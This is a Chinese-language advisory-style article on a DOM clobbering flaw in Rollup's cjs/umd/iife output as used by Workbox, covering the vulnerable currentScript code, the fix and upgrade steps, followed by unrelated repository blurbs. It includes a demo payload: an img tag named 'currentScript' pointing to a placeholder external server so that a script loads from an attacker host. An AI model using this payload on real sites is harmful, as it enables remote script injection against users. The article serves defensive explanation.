Workbox项目中Rollup依赖的DOM安全问题分析与修复方案
问题背景
在Web开发领域,构建工具的安全性问题往往容易被开发者忽视。近期在Workbox项目依赖的Rollup构建工具中发现了一个值得警惕的安全问题——DOM干扰攻击向量。这种攻击方式通过HTML元素的命名属性干扰JavaScript的正常执行流程,可能导致严重的安全风险。
问题技术分析
DOM干扰攻击原理
DOM干扰是一种特殊的代码重用攻击技术。攻击者通过在网页中嵌入看似无害的非脚本HTML标记(如带有特定name或id属性的img标签),利用现有JavaScript代码中的"可被利用的代码片段"将其转化为可执行代码。这种攻击不需要直接注入JavaScript代码,因此能绕过许多传统的内容安全策略。
Rollup中的问题点
当使用Rollup打包使用import.meta.url的脚本,并输出为cjs/umd/iife格式时,Rollup会将meta属性替换为从document.currentScript获取的URL。问题在于,document.currentScript的查找过程可能被攻击者通过浏览器命名DOM树元素访问机制所劫持。
具体来说,Rollup在以下代码中存在安全隐患:
// 原始问题代码
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
s.src = (_documentCurrentScript && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)
攻击者只需在页面中插入一个带有name="currentScript"属性的HTML元素(如img标签),就能控制脚本加载行为。
攻击场景演示
假设开发者使用Rollup打包以下代码:
var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);
打包后的输出包含易受攻击的代码。如果攻击者能在页面中插入:
<img name="currentScript" src="https://外部服务器/">
这将导致浏览器从外部控制的服务器加载extra.js脚本,实现潜在攻击。
问题影响范围
该问题影响以下情况:
- 使用Rollup打包的项目
- 输出格式为cjs/iife/umd
- 代码中使用import.meta特性
- 页面允许用户注入特定HTML标签且未严格过滤name/id属性
修复方案
Rollup团队已发布修复版本,通过在获取currentScript时增加类型检查来防御DOM干扰攻击。修复后的关键代码如下:
// 修复后的安全代码
document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src
修复方案增加了对元素类型的严格验证,确保只有真正的SCRIPT元素才能提供src属性值。
升级建议
开发者应立即采取以下措施:
- 将Rollup升级至安全版本(v4.22.4+或v3.29.5+)
- 对于无法立即升级的项目,可使用npm audit fix或package.json中的overrides功能强制使用安全版本
- 审查项目中是否存在允许用户注入HTML标签的功能,并加强输入过滤
防御深度思考
除了升级Rollup外,开发者还应考虑以下防御措施:
- 实施严格的内容安全策略(CSP)
- 对所有用户提供的内容进行HTML净化处理
- 避免在关键安全逻辑中依赖可能被DOM干扰影响的全局对象
- 考虑使用Trusted Types等现代浏览器安全特性
这个案例再次提醒我们,构建工具链的安全性与应用代码安全同等重要,应当纳入常规的安全审计范围。
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00- QQwen3-Coder-Next2026年2月4日,正式发布的Qwen3-Coder-Next,一款专为编码智能体和本地开发场景设计的开源语言模型。Python00
xw-cli实现国产算力大模型零门槛部署,一键跑通 Qwen、GLM-4.7、Minimax-2.1、DeepSeek-OCR 等模型Go06
PaddleOCR-VL-1.5PaddleOCR-VL-1.5 是 PaddleOCR-VL 的新一代进阶模型,在 OmniDocBench v1.5 上实现了 94.5% 的全新 state-of-the-art 准确率。 为了严格评估模型在真实物理畸变下的鲁棒性——包括扫描伪影、倾斜、扭曲、屏幕拍摄和光照变化——我们提出了 Real5-OmniDocBench 基准测试集。实验结果表明,该增强模型在新构建的基准测试集上达到了 SOTA 性能。此外,我们通过整合印章识别和文本检测识别(text spotting)任务扩展了模型的能力,同时保持 0.9B 的超紧凑 VLM 规模,具备高效率特性。Python00
KuiklyUI基于KMP技术的高性能、全平台开发框架,具备统一代码库、极致易用性和动态灵活性。 Provide a high-performance, full-platform development framework with unified codebase, ultimate ease of use, and dynamic flexibility. 注意:本仓库为Github仓库镜像,PR或Issue请移步至Github发起,感谢支持!Kotlin08
VLOOKVLOOK™ 是优雅好用的 Typora/Markdown 主题包和增强插件。 VLOOK™ is an elegant and practical THEME PACKAGE × ENHANCEMENT PLUGIN for Typora/Markdown.Less00